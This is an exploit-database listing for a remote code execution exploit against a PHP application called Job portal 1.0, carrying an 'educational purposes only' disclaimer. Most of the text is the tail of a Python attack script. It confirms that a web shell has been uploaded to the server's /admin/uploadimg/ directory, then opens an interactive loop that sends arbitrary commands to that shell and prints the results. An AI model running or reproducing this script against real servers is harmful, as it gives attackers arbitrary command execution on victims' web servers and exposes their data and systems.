Exploits / Vulnerability Discovered : 2020-01-07 |
Type : webapps |
Platform : php
This exploit / vulnerability Job portal 1.0 remote code execution is for educational purposes only and if it is used you will do on your own risk!
if random_file in r.text:
print('> Web shell uploaded to ' + url + '/admin/uploadimg/' + random_file + '.php')
print('> Example command usage: ' + url + '/admin/uploadimg/' + random_file + '.php?cmd=whoami')
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
if launch_shell.lower() == 'y':
while True:
cmd = str(input('RCE $ '))
if cmd == 'exit':
sys.exit(0)
r = requests.get(url + '/admin/uploadimg/' + random_file + '.php', params={'cmd':cmd}, verify=False)
print(r.text)
else:
if r.status_code == 200:
print('> Web shell uploaded to ' + url + '/admin/uploadimg/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
else:
print('> Web shell failed to upload! The web server may not have write permissions.')